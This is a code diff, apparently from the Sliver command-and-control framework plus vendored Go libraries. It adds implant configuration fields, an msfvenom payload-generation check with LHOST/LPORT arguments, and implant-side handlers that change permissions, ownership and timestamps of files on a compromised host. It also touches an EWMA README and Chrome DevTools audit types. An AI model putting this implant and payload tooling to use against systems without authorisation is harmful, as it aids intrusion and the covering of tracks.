err = ln.Close() // Kills listener GoRoutines in StartWGListener()
|
||||
if err != nil {
|
||||
jobLog.Fatal("Error closing listener", err)
|
||||
@@ -118,6 +118,7 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
|
||||
jobLog.Fatal("Error closing wg tunnel", err)
|
||||
}
|
||||
core.Jobs.Remove(job)
|
||||
done <- true
|
||||
}()
|
||||
core.Jobs.Add(job)
|
||||
|
||||
|
||||
@@ -87,6 +87,7 @@ type ImplantConfig struct {
|
||||
MtlsKey string
|
||||
|
||||
Debug bool
|
||||
DebugFile string
|
||||
Evasion bool
|
||||
ObfuscateSymbols bool
|
||||
ReconnectInterval int64
|
||||
@@ -151,14 +152,17 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
BeaconInterval: ic.BeaconInterval,
|
||||
BeaconJitter: ic.BeaconJitter,
|
||||
|
||||
GOOS: ic.GOOS,
|
||||
GOARCH: ic.GOARCH,
|
||||
|
||||
MtlsCACert: ic.MtlsCACert,
|
||||
MtlsCert: ic.MtlsCert,
|
||||
MtlsKey: ic.MtlsKey,
|
||||
GOOS: ic.GOOS,
|
||||
GOARCH: ic.GOARCH,
|
||||
ECCServerPublicKey: ic.ECCServerPublicKey,
|
||||
ECCPublicKey: ic.ECCPublicKey,
|
||||
ECCPrivateKey: ic.ECCPrivateKey,
|
||||
MtlsCACert: ic.MtlsCACert,
|
||||
MtlsCert: ic.MtlsCert,
|
||||
MtlsKey: ic.MtlsKey,
|
||||
|
||||
Debug: ic.Debug,
|
||||
DebugFile: ic.DebugFile,
|
||||
Evasion: ic.Evasion,
|
||||
ObfuscateSymbols: ic.ObfuscateSymbols,
|
||||
TemplateName: ic.TemplateName,
|
||||
@@ -186,7 +190,6 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
|
||||
FileName: ic.FileName,
|
||||
}
|
||||
|
||||
// Copy Canary Domains
|
||||
config.CanaryDomains = []string{}
|
||||
for _, canaryDomain := range ic.CanaryDomains {
|
||||
|
||||
@@ -142,12 +142,17 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) (string, *model
|
||||
cfg.BeaconInterval = pbConfig.BeaconInterval
|
||||
cfg.BeaconJitter = pbConfig.BeaconJitter
|
||||
|
||||
cfg.ECCServerPublicKey = pbConfig.ECCServerPublicKey
|
||||
cfg.ECCPrivateKey = pbConfig.ECCPrivateKey
|
||||
cfg.ECCPublicKey = pbConfig.ECCPublicKey
|
||||
|
||||
cfg.GOOS = pbConfig.GOOS
|
||||
cfg.GOARCH = pbConfig.GOARCH
|
||||
cfg.MtlsCACert = pbConfig.MtlsCACert
|
||||
cfg.MtlsCert = pbConfig.MtlsCert
|
||||
cfg.MtlsKey = pbConfig.MtlsKey
|
||||
cfg.Debug = pbConfig.Debug
|
||||
cfg.DebugFile = pbConfig.DebugFile
|
||||
cfg.Evasion = pbConfig.Evasion
|
||||
cfg.ObfuscateSymbols = pbConfig.ObfuscateSymbols
|
||||
cfg.TemplateName = pbConfig.TemplateName
|
||||
|
||||
+5
-2
@@ -123,7 +123,10 @@ func Version() (string, error) {
|
||||
|
||||
// VenomPayload - Generates an MSFVenom payload
|
||||
func VenomPayload(config VenomConfig) ([]byte, error) {
|
||||
|
||||
// Check if msfvenom is in the path
|
||||
if _, err := exec.LookPath(venomBin); err != nil {
|
||||
return nil, fmt.Errorf("msfvenom not found in PATH")
|
||||
}
|
||||
// OS
|
||||
if _, ok := validPayloads[config.Os]; !ok {
|
||||
return nil, fmt.Errorf(fmt.Sprintf("Invalid operating system: %s", config.Os))
|
||||
@@ -164,7 +167,7 @@ func VenomPayload(config VenomConfig) ([]byte, error) {
|
||||
"--payload", payload,
|
||||
fmt.Sprintf("LHOST=%s", config.LHost),
|
||||
fmt.Sprintf("LPORT=%d", config.LPort),
|
||||
fmt.Sprintf("EXITFUNC=thread"),
|
||||
"EXITFUNC=thread",
|
||||
}
|
||||
|
||||
if luri != "" {
|
||||
|
||||
@@ -118,6 +118,36 @@ func (rpc *Server) Upload(ctx context.Context, req *sliverpb.UploadReq) (*sliver
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Chmod - Change permission on a file or directory
|
||||
func (rpc *Server) Chmod(ctx context.Context, req *sliverpb.ChmodReq) (*sliverpb.Chmod, error) {
|
||||
resp := &sliverpb.Chmod{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Chown - Change owner on a file or directory
|
||||
func (rpc *Server) Chown(ctx context.Context, req *sliverpb.ChownReq) (*sliverpb.Chown, error) {
|
||||
resp := &sliverpb.Chown{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Chtimes - Change file access and modification times on a file or directory
|
||||
func (rpc *Server) Chtimes(ctx context.Context, req *sliverpb.ChtimesReq) (*sliverpb.Chtimes, error) {
|
||||
resp := &sliverpb.Chtimes{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
func trackIOC(req *sliverpb.UploadReq, resp *sliverpb.Upload) {
|
||||
fsLog.Debugf("Adding IOC to database ...")
|
||||
request := req.GetRequest()
|
||||
|
||||
+1
@@ -1,2 +1,3 @@
|
||||
.DS_Store
|
||||
.*.sw?
|
||||
/coverage.txt
|
||||
+3
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"settingsInheritedFrom": "VividCortex/whitesource-config@master"
|
||||
}
|
||||
+17
-12
@@ -1,4 +1,8 @@
|
||||
# EWMA [](https://godoc.org/github.com/VividCortex/ewma) 
|
||||
# EWMA
|
||||
|
||||
[](https://godoc.org/github.com/VividCortex/ewma)
|
||||

|
||||
[](https://codecov.io/gh/VividCortex/ewma)
|
||||
|
||||
This repo provides Exponentially Weighted Moving Average algorithms, or EWMAs for short, [based on our
|
||||
Quantifying Abnormal Behavior talk](https://vividcortex.com/blog/2013/07/23/a-fast-go-library-for-exponential-moving-averages/).
|
||||
@@ -103,23 +107,24 @@ View the GoDoc generated documentation [here](http://godoc.org/github.com/VividC
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import "github.com/VividCortex/ewma"
|
||||
|
||||
func main() {
|
||||
samples := [100]float64{
|
||||
4599, 5711, 4746, 4621, 5037, 4218, 4925, 4281, 5207, 5203, 5594, 5149,
|
||||
}
|
||||
samples := [100]float64{
|
||||
4599, 5711, 4746, 4621, 5037, 4218, 4925, 4281, 5207, 5203, 5594, 5149,
|
||||
}
|
||||
|
||||
e := ewma.NewMovingAverage() //=> Returns a SimpleEWMA if called without params
|
||||
a := ewma.NewMovingAverage(5) //=> returns a VariableEWMA with a decay of 2 / (5 + 1)
|
||||
e := ewma.NewMovingAverage() //=> Returns a SimpleEWMA if called without params
|
||||
a := ewma.NewMovingAverage(5) //=> returns a VariableEWMA with a decay of 2 / (5 + 1)
|
||||
|
||||
for _, f := range samples {
|
||||
e.Add(f)
|
||||
a.Add(f)
|
||||
}
|
||||
for _, f := range samples {
|
||||
e.Add(f)
|
||||
a.Add(f)
|
||||
}
|
||||
|
||||
e.Value() //=> 13.577404704631077
|
||||
a.Value() //=> 1.5806140565521463e-12
|
||||
e.Value() //=> 13.577404704631077
|
||||
a.Value() //=> 1.5806140565521463e-12
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
+6
@@ -0,0 +1,6 @@
|
||||
coverage:
|
||||
status:
|
||||
project:
|
||||
default:
|
||||
threshold: 15%
|
||||
patch: off
|
||||
+2
-2
@@ -53,7 +53,7 @@ type GetPartialAXTreeParams struct {
|
||||
NodeID cdp.NodeID `json:"nodeId,omitempty"` // Identifier of the node to get the partial accessibility tree for.
|
||||
BackendNodeID cdp.BackendNodeID `json:"backendNodeId,omitempty"` // Identifier of the backend node to get the partial accessibility tree for.
|
||||
ObjectID runtime.RemoteObjectID `json:"objectId,omitempty"` // JavaScript object id of the node wrapper to get the partial accessibility tree for.
|
||||
FetchRelatives bool `json:"fetchRelatives,omitempty"` // Whether to fetch this nodes ancestors, siblings and children. Defaults to true.
|
||||
FetchRelatives bool `json:"fetchRelatives,omitempty"` // Whether to fetch this node's ancestors, siblings and children. Defaults to true.
|
||||
}
|
||||
|
||||
// GetPartialAXTree fetches the accessibility node and partial accessibility
|
||||
@@ -87,7 +87,7 @@ func (p GetPartialAXTreeParams) WithObjectID(objectID runtime.RemoteObjectID) *G
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithFetchRelatives whether to fetch this nodes ancestors, siblings and
|
||||
// WithFetchRelatives whether to fetch this node's ancestors, siblings and
|
||||
// children. Defaults to true.
|
||||
func (p GetPartialAXTreeParams) WithFetchRelatives(fetchRelatives bool) *GetPartialAXTreeParams {
|
||||
p.FetchRelatives = fetchRelatives
|
||||
|
||||
+2
-2
@@ -1824,7 +1824,7 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoAudits17(in *jlexer.Lexer, ou
|
||||
(*out.SourceCodeLocation).UnmarshalEasyJSON(in)
|
||||
}
|
||||
case "type":
|
||||
(out.Type).UnmarshalEasyJSON(in)
|
||||
out.Type = string(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -1862,7 +1862,7 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoAudits17(out *jwriter.Writer,
|
||||
{
|
||||
const prefix string = ",\"type\":"
|
||||
out.RawString(prefix)
|
||||
(in.Type).MarshalEasyJSON(out)
|
||||
out.String(string(in.Type))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
+29
-209
@@ -919,8 +919,16 @@ func (t GenericIssueErrorType) String() string {
|
||||
|
||||
// GenericIssueErrorType values.
|
||||
const (
|
||||
GenericIssueErrorTypeCrossOriginPortalPostMessageError GenericIssueErrorType = "CrossOriginPortalPostMessageError"
|
||||
GenericIssueErrorTypeFormLabelForNameError GenericIssueErrorType = "FormLabelForNameError"
|
||||
GenericIssueErrorTypeCrossOriginPortalPostMessageError GenericIssueErrorType = "CrossOriginPortalPostMessageError"
|
||||
GenericIssueErrorTypeFormLabelForNameError GenericIssueErrorType = "FormLabelForNameError"
|
||||
GenericIssueErrorTypeFormDuplicateIDForInputError GenericIssueErrorType = "FormDuplicateIdForInputError"
|
||||
GenericIssueErrorTypeFormInputWithNoLabelError GenericIssueErrorType = "FormInputWithNoLabelError"
|
||||
GenericIssueErrorTypeFormAutocompleteAttributeEmptyError GenericIssueErrorType = "FormAutocompleteAttributeEmptyError"
|
||||
GenericIssueErrorTypeFormEmptyIDAndNameAttributesForInputError GenericIssueErrorType = "FormEmptyIdAndNameAttributesForInputError"
|
||||
GenericIssueErrorTypeFormAriaLabelledByToNonExistingID GenericIssueErrorType = "FormAriaLabelledByToNonExistingId"
|
||||
GenericIssueErrorTypeFormInputAssignedAutocompleteValueToIDOrNameAttributeError GenericIssueErrorType = "FormInputAssignedAutocompleteValueToIdOrNameAttributeError"
|
||||
GenericIssueErrorTypeFormLabelHasNeitherForNorNestedInput GenericIssueErrorType = "FormLabelHasNeitherForNorNestedInput"
|
||||
GenericIssueErrorTypeFormLabelForMatchesNonExistingIDError GenericIssueErrorType = "FormLabelForMatchesNonExistingIdError"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -941,6 +949,22 @@ func (t *GenericIssueErrorType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = GenericIssueErrorTypeCrossOriginPortalPostMessageError
|
||||
case GenericIssueErrorTypeFormLabelForNameError:
|
||||
*t = GenericIssueErrorTypeFormLabelForNameError
|
||||
case GenericIssueErrorTypeFormDuplicateIDForInputError:
|
||||
*t = GenericIssueErrorTypeFormDuplicateIDForInputError
|
||||
case GenericIssueErrorTypeFormInputWithNoLabelError:
|
||||
*t = GenericIssueErrorTypeFormInputWithNoLabelError
|
||||
case GenericIssueErrorTypeFormAutocompleteAttributeEmptyError:
|
||||
*t = GenericIssueErrorTypeFormAutocompleteAttributeEmptyError
|
||||
case GenericIssueErrorTypeFormEmptyIDAndNameAttributesForInputError:
|
||||
*t = GenericIssueErrorTypeFormEmptyIDAndNameAttributesForInputError
|
||||
case GenericIssueErrorTypeFormAriaLabelledByToNonExistingID:
|
||||
*t = GenericIssueErrorTypeFormAriaLabelledByToNonExistingID
|
||||
case GenericIssueErrorTypeFormInputAssignedAutocompleteValueToIDOrNameAttributeError:
|
||||
*t = GenericIssueErrorTypeFormInputAssignedAutocompleteValueToIDOrNameAttributeError
|
||||
case GenericIssueErrorTypeFormLabelHasNeitherForNorNestedInput:
|
||||
*t = GenericIssueErrorTypeFormLabelHasNeitherForNorNestedInput
|
||||
case GenericIssueErrorTypeFormLabelForMatchesNonExistingIDError:
|
||||
*t = GenericIssueErrorTypeFormLabelForMatchesNonExistingIDError
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown GenericIssueErrorType value: %v", v))
|
||||
@@ -962,219 +986,15 @@ type GenericIssueDetails struct {
|
||||
ViolatingNodeID cdp.BackendNodeID `json:"violatingNodeId,omitempty"`
|
||||
}
|
||||
|
||||
// DeprecationIssueType [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-DeprecationIssueType
|
||||
type DeprecationIssueType string
|
||||
|
||||
// String returns the DeprecationIssueType as string value.
|
||||
func (t DeprecationIssueType) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// DeprecationIssueType values.
|
||||
const (
|
||||
DeprecationIssueTypeAuthorizationCoveredByWildcard DeprecationIssueType = "AuthorizationCoveredByWildcard"
|
||||
DeprecationIssueTypeCanRequestURLHTTPContainingNewline DeprecationIssueType = "CanRequestURLHTTPContainingNewline"
|
||||
DeprecationIssueTypeChromeLoadTimesConnectionInfo DeprecationIssueType = "ChromeLoadTimesConnectionInfo"
|
||||
DeprecationIssueTypeChromeLoadTimesFirstPaintAfterLoadTime DeprecationIssueType = "ChromeLoadTimesFirstPaintAfterLoadTime"
|
||||
DeprecationIssueTypeChromeLoadTimesWasAlternateProtocolAvailable DeprecationIssueType = "ChromeLoadTimesWasAlternateProtocolAvailable"
|
||||
DeprecationIssueTypeCookieWithTruncatingChar DeprecationIssueType = "CookieWithTruncatingChar"
|
||||
DeprecationIssueTypeCrossOriginAccessBasedOnDocumentDomain DeprecationIssueType = "CrossOriginAccessBasedOnDocumentDomain"
|
||||
DeprecationIssueTypeCrossOriginWindowAlert DeprecationIssueType = "CrossOriginWindowAlert"
|
||||
DeprecationIssueTypeCrossOriginWindowConfirm DeprecationIssueType = "CrossOriginWindowConfirm"
|
||||
DeprecationIssueTypeCSSSelectorInternalMediaControlsOverlayCastButton DeprecationIssueType = "CSSSelectorInternalMediaControlsOverlayCastButton"
|
||||
DeprecationIssueTypeDeprecationExample DeprecationIssueType = "DeprecationExample"
|
||||
DeprecationIssueTypeDocumentDomainSettingWithoutOriginAgentClusterHeader DeprecationIssueType = "DocumentDomainSettingWithoutOriginAgentClusterHeader"
|
||||
DeprecationIssueTypeEventPath DeprecationIssueType = "EventPath"
|
||||
DeprecationIssueTypeExpectCTHeader DeprecationIssueType = "ExpectCTHeader"
|
||||
DeprecationIssueTypeGeolocationInsecureOrigin DeprecationIssueType = "GeolocationInsecureOrigin"
|
||||
DeprecationIssueTypeGeolocationInsecureOriginDeprecatedNotRemoved DeprecationIssueType = "GeolocationInsecureOriginDeprecatedNotRemoved"
|
||||
DeprecationIssueTypeGetUserMediaInsecureOrigin DeprecationIssueType = "GetUserMediaInsecureOrigin"
|
||||
DeprecationIssueTypeHostCandidateAttributeGetter DeprecationIssueType = "HostCandidateAttributeGetter"
|
||||
DeprecationIssueTypeIdentityInCanMakePaymentEvent DeprecationIssueType = "IdentityInCanMakePaymentEvent"
|
||||
DeprecationIssueTypeInsecurePrivateNetworkSubresourceRequest DeprecationIssueType = "InsecurePrivateNetworkSubresourceRequest"
|
||||
DeprecationIssueTypeLocalCSSFileExtensionRejected DeprecationIssueType = "LocalCSSFileExtensionRejected"
|
||||
DeprecationIssueTypeMediaSourceAbortRemove DeprecationIssueType = "MediaSourceAbortRemove"
|
||||
DeprecationIssueTypeMediaSourceDurationTruncatingBuffered DeprecationIssueType = "MediaSourceDurationTruncatingBuffered"
|
||||
DeprecationIssueTypeNoSysexWebMIDIWithoutPermission DeprecationIssueType = "NoSysexWebMIDIWithoutPermission"
|
||||
DeprecationIssueTypeNotificationInsecureOrigin DeprecationIssueType = "NotificationInsecureOrigin"
|
||||
DeprecationIssueTypeNotificationPermissionRequestedIframe DeprecationIssueType = "NotificationPermissionRequestedIframe"
|
||||
DeprecationIssueTypeObsoleteWebRtcCipherSuite DeprecationIssueType = "ObsoleteWebRtcCipherSuite"
|
||||
DeprecationIssueTypeOpenWebDatabaseInsecureContext DeprecationIssueType = "OpenWebDatabaseInsecureContext"
|
||||
DeprecationIssueTypeOverflowVisibleOnReplacedElement DeprecationIssueType = "OverflowVisibleOnReplacedElement"
|
||||
DeprecationIssueTypePaymentInstruments DeprecationIssueType = "PaymentInstruments"
|
||||
DeprecationIssueTypePaymentRequestCSPViolation DeprecationIssueType = "PaymentRequestCSPViolation"
|
||||
DeprecationIssueTypePersistentQuotaType DeprecationIssueType = "PersistentQuotaType"
|
||||
DeprecationIssueTypePictureSourceSrc DeprecationIssueType = "PictureSourceSrc"
|
||||
DeprecationIssueTypePrefixedCancelAnimationFrame DeprecationIssueType = "PrefixedCancelAnimationFrame"
|
||||
DeprecationIssueTypePrefixedRequestAnimationFrame DeprecationIssueType = "PrefixedRequestAnimationFrame"
|
||||
DeprecationIssueTypePrefixedStorageInfo DeprecationIssueType = "PrefixedStorageInfo"
|
||||
DeprecationIssueTypePrefixedVideoDisplayingFullscreen DeprecationIssueType = "PrefixedVideoDisplayingFullscreen"
|
||||
DeprecationIssueTypePrefixedVideoEnterFullscreen DeprecationIssueType = "PrefixedVideoEnterFullscreen"
|
||||
DeprecationIssueTypePrefixedVideoEnterFullScreen DeprecationIssueType = "PrefixedVideoEnterFullScreen"
|
||||
DeprecationIssueTypePrefixedVideoExitFullscreen DeprecationIssueType = "PrefixedVideoExitFullscreen"
|
||||
DeprecationIssueTypePrefixedVideoExitFullScreen DeprecationIssueType = "PrefixedVideoExitFullScreen"
|
||||
DeprecationIssueTypePrefixedVideoSupportsFullscreen DeprecationIssueType = "PrefixedVideoSupportsFullscreen"
|
||||
DeprecationIssueTypeRangeExpand DeprecationIssueType = "RangeExpand"
|
||||
DeprecationIssueTypeRequestedSubresourceWithEmbeddedCredentials DeprecationIssueType = "RequestedSubresourceWithEmbeddedCredentials"
|
||||
DeprecationIssueTypeRTCConstraintEnableDtlsSrtpFalse DeprecationIssueType = "RTCConstraintEnableDtlsSrtpFalse"
|
||||
DeprecationIssueTypeRTCConstraintEnableDtlsSrtpTrue DeprecationIssueType = "RTCConstraintEnableDtlsSrtpTrue"
|
||||
DeprecationIssueTypeRTCPeerConnectionComplexPlanBSdpUsingDefaultSdpSemantics DeprecationIssueType = "RTCPeerConnectionComplexPlanBSdpUsingDefaultSdpSemantics"
|
||||
DeprecationIssueTypeRTCPeerConnectionSdpSemanticsPlanB DeprecationIssueType = "RTCPeerConnectionSdpSemanticsPlanB"
|
||||
DeprecationIssueTypeRtcpMuxPolicyNegotiate DeprecationIssueType = "RtcpMuxPolicyNegotiate"
|
||||
DeprecationIssueTypeSharedArrayBufferConstructedWithoutIsolation DeprecationIssueType = "SharedArrayBufferConstructedWithoutIsolation"
|
||||
DeprecationIssueTypeTextToSpeechDisallowedByAutoplay DeprecationIssueType = "TextToSpeech_DisallowedByAutoplay"
|
||||
DeprecationIssueTypeV8sharedArrayBufferConstructedInExtensionWithoutIsolation DeprecationIssueType = "V8SharedArrayBufferConstructedInExtensionWithoutIsolation"
|
||||
DeprecationIssueTypeXHRJSONEncodingDetection DeprecationIssueType = "XHRJSONEncodingDetection"
|
||||
DeprecationIssueTypeXMLHTTPRequestSynchronousInNonWorkerOutsideBeforeUnload DeprecationIssueType = "XMLHttpRequestSynchronousInNonWorkerOutsideBeforeUnload"
|
||||
DeprecationIssueTypeXRSupportsSession DeprecationIssueType = "XRSupportsSession"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t DeprecationIssueType) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t DeprecationIssueType) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DeprecationIssueType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch DeprecationIssueType(v) {
|
||||
case DeprecationIssueTypeAuthorizationCoveredByWildcard:
|
||||
*t = DeprecationIssueTypeAuthorizationCoveredByWildcard
|
||||
case DeprecationIssueTypeCanRequestURLHTTPContainingNewline:
|
||||
*t = DeprecationIssueTypeCanRequestURLHTTPContainingNewline
|
||||
case DeprecationIssueTypeChromeLoadTimesConnectionInfo:
|
||||
*t = DeprecationIssueTypeChromeLoadTimesConnectionInfo
|
||||
case DeprecationIssueTypeChromeLoadTimesFirstPaintAfterLoadTime:
|
||||
*t = DeprecationIssueTypeChromeLoadTimesFirstPaintAfterLoadTime
|
||||
case DeprecationIssueTypeChromeLoadTimesWasAlternateProtocolAvailable:
|
||||
*t = DeprecationIssueTypeChromeLoadTimesWasAlternateProtocolAvailable
|
||||
case DeprecationIssueTypeCookieWithTruncatingChar:
|
||||
*t = DeprecationIssueTypeCookieWithTruncatingChar
|
||||
case DeprecationIssueTypeCrossOriginAccessBasedOnDocumentDomain:
|
||||
*t = DeprecationIssueTypeCrossOriginAccessBasedOnDocumentDomain
|
||||
case DeprecationIssueTypeCrossOriginWindowAlert:
|
||||
*t = DeprecationIssueTypeCrossOriginWindowAlert
|
||||
case DeprecationIssueTypeCrossOriginWindowConfirm:
|
||||
*t = DeprecationIssueTypeCrossOriginWindowConfirm
|
||||
case DeprecationIssueTypeCSSSelectorInternalMediaControlsOverlayCastButton:
|
||||
*t = DeprecationIssueTypeCSSSelectorInternalMediaControlsOverlayCastButton
|
||||
case DeprecationIssueTypeDeprecationExample:
|
||||
*t = DeprecationIssueTypeDeprecationExample
|
||||
case DeprecationIssueTypeDocumentDomainSettingWithoutOriginAgentClusterHeader:
|
||||
*t = DeprecationIssueTypeDocumentDomainSettingWithoutOriginAgentClusterHeader
|
||||
case DeprecationIssueTypeEventPath:
|
||||
*t = DeprecationIssueTypeEventPath
|
||||
case DeprecationIssueTypeExpectCTHeader:
|
||||
*t = DeprecationIssueTypeExpectCTHeader
|
||||
case DeprecationIssueTypeGeolocationInsecureOrigin:
|
||||
*t = DeprecationIssueTypeGeolocationInsecureOrigin
|
||||
case DeprecationIssueTypeGeolocationInsecureOriginDeprecatedNotRemoved:
|
||||
*t = DeprecationIssueTypeGeolocationInsecureOriginDeprecatedNotRemoved
|
||||
case DeprecationIssueTypeGetUserMediaInsecureOrigin:
|
||||
*t = DeprecationIssueTypeGetUserMediaInsecureOrigin
|
||||
case DeprecationIssueTypeHostCandidateAttributeGetter:
|
||||
*t = DeprecationIssueTypeHostCandidateAttributeGetter
|
||||
case DeprecationIssueTypeIdentityInCanMakePaymentEvent:
|
||||
*t = DeprecationIssueTypeIdentityInCanMakePaymentEvent
|
||||
case DeprecationIssueTypeInsecurePrivateNetworkSubresourceRequest:
|
||||
*t = DeprecationIssueTypeInsecurePrivateNetworkSubresourceRequest
|
||||
case DeprecationIssueTypeLocalCSSFileExtensionRejected:
|
||||
*t = DeprecationIssueTypeLocalCSSFileExtensionRejected
|
||||
case DeprecationIssueTypeMediaSourceAbortRemove:
|
||||
*t = DeprecationIssueTypeMediaSourceAbortRemove
|
||||
case DeprecationIssueTypeMediaSourceDurationTruncatingBuffered:
|
||||
*t = DeprecationIssueTypeMediaSourceDurationTruncatingBuffered
|
||||
case DeprecationIssueTypeNoSysexWebMIDIWithoutPermission:
|
||||
*t = DeprecationIssueTypeNoSysexWebMIDIWithoutPermission
|
||||
case DeprecationIssueTypeNotificationInsecureOrigin:
|
||||
*t = DeprecationIssueTypeNotificationInsecureOrigin
|
||||
case DeprecationIssueTypeNotificationPermissionRequestedIframe:
|
||||
*t = DeprecationIssueTypeNotificationPermissionRequestedIframe
|
||||
case DeprecationIssueTypeObsoleteWebRtcCipherSuite:
|
||||
*t = DeprecationIssueTypeObsoleteWebRtcCipherSuite
|
||||
case DeprecationIssueTypeOpenWebDatabaseInsecureContext:
|
||||
*t = DeprecationIssueTypeOpenWebDatabaseInsecureContext
|
||||
case DeprecationIssueTypeOverflowVisibleOnReplacedElement:
|
||||
*t = DeprecationIssueTypeOverflowVisibleOnReplacedElement
|
||||
case DeprecationIssueTypePaymentInstruments:
|
||||
*t = DeprecationIssueTypePaymentInstruments
|
||||
case DeprecationIssueTypePaymentRequestCSPViolation:
|
||||
*t = DeprecationIssueTypePaymentRequestCSPViolation
|
||||
case DeprecationIssueTypePersistentQuotaType:
|
||||
*t = DeprecationIssueTypePersistentQuotaType
|
||||
case DeprecationIssueTypePictureSourceSrc:
|
||||
*t = DeprecationIssueTypePictureSourceSrc
|
||||
case DeprecationIssueTypePrefixedCancelAnimationFrame:
|
||||
*t = DeprecationIssueTypePrefixedCancelAnimationFrame
|
||||
case DeprecationIssueTypePrefixedRequestAnimationFrame:
|
||||
*t = DeprecationIssueTypePrefixedRequestAnimationFrame
|
||||
case DeprecationIssueTypePrefixedStorageInfo:
|
||||
*t = DeprecationIssueTypePrefixedStorageInfo
|
||||
case DeprecationIssueTypePrefixedVideoDisplayingFullscreen:
|
||||
*t = DeprecationIssueTypePrefixedVideoDisplayingFullscreen
|
||||
case DeprecationIssueTypePrefixedVideoEnterFullscreen:
|
||||
*t = DeprecationIssueTypePrefixedVideoEnterFullscreen
|
||||
case DeprecationIssueTypePrefixedVideoEnterFullScreen:
|
||||
*t = DeprecationIssueTypePrefixedVideoEnterFullScreen
|
||||
case DeprecationIssueTypePrefixedVideoExitFullscreen:
|
||||
*t = DeprecationIssueTypePrefixedVideoExitFullscreen
|
||||
case DeprecationIssueTypePrefixedVideoExitFullScreen:
|
||||
*t = DeprecationIssueTypePrefixedVideoExitFullScreen
|
||||
case DeprecationIssueTypePrefixedVideoSupportsFullscreen:
|
||||
*t = DeprecationIssueTypePrefixedVideoSupportsFullscreen
|
||||
case DeprecationIssueTypeRangeExpand:
|
||||
*t = DeprecationIssueTypeRangeExpand
|
||||
case DeprecationIssueTypeRequestedSubresourceWithEmbeddedCredentials:
|
||||
*t = DeprecationIssueTypeRequestedSubresourceWithEmbeddedCredentials
|
||||
case DeprecationIssueTypeRTCConstraintEnableDtlsSrtpFalse:
|
||||
*t = DeprecationIssueTypeRTCConstraintEnableDtlsSrtpFalse
|
||||
case DeprecationIssueTypeRTCConstraintEnableDtlsSrtpTrue:
|
||||
*t = DeprecationIssueTypeRTCConstraintEnableDtlsSrtpTrue
|
||||
case DeprecationIssueTypeRTCPeerConnectionComplexPlanBSdpUsingDefaultSdpSemantics:
|
||||
*t = DeprecationIssueTypeRTCPeerConnectionComplexPlanBSdpUsingDefaultSdpSemantics
|
||||
case DeprecationIssueTypeRTCPeerConnectionSdpSemanticsPlanB:
|
||||
*t = DeprecationIssueTypeRTCPeerConnectionSdpSemanticsPlanB
|
||||
case DeprecationIssueTypeRtcpMuxPolicyNegotiate:
|
||||
*t = DeprecationIssueTypeRtcpMuxPolicyNegotiate
|
||||
case DeprecationIssueTypeSharedArrayBufferConstructedWithoutIsolation:
|
||||
*t = DeprecationIssueTypeSharedArrayBufferConstructedWithoutIsolation
|
||||
case DeprecationIssueTypeTextToSpeechDisallowedByAutoplay:
|
||||
*t = DeprecationIssueTypeTextToSpeechDisallowedByAutoplay
|
||||
case DeprecationIssueTypeV8sharedArrayBufferConstructedInExtensionWithoutIsolation:
|
||||
*t = DeprecationIssueTypeV8sharedArrayBufferConstructedInExtensionWithoutIsolation
|
||||
case DeprecationIssueTypeXHRJSONEncodingDetection:
|
||||
*t = DeprecationIssueTypeXHRJSONEncodingDetection
|
||||
case DeprecationIssueTypeXMLHTTPRequestSynchronousInNonWorkerOutsideBeforeUnload:
|
||||
*t = DeprecationIssueTypeXMLHTTPRequestSynchronousInNonWorkerOutsideBeforeUnload
|
||||
case DeprecationIssueTypeXRSupportsSession:
|
||||
*t = DeprecationIssueTypeXRSupportsSession
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown DeprecationIssueType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *DeprecationIssueType) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// DeprecationIssueDetails this issue tracks information needed to print a
|
||||
// deprecation message.
|
||||
// https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/frame/third_party/blink/renderer/core/frame/deprecation/README.md.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-DeprecationIssueDetails
|
||||
type DeprecationIssueDetails struct {
|
||||
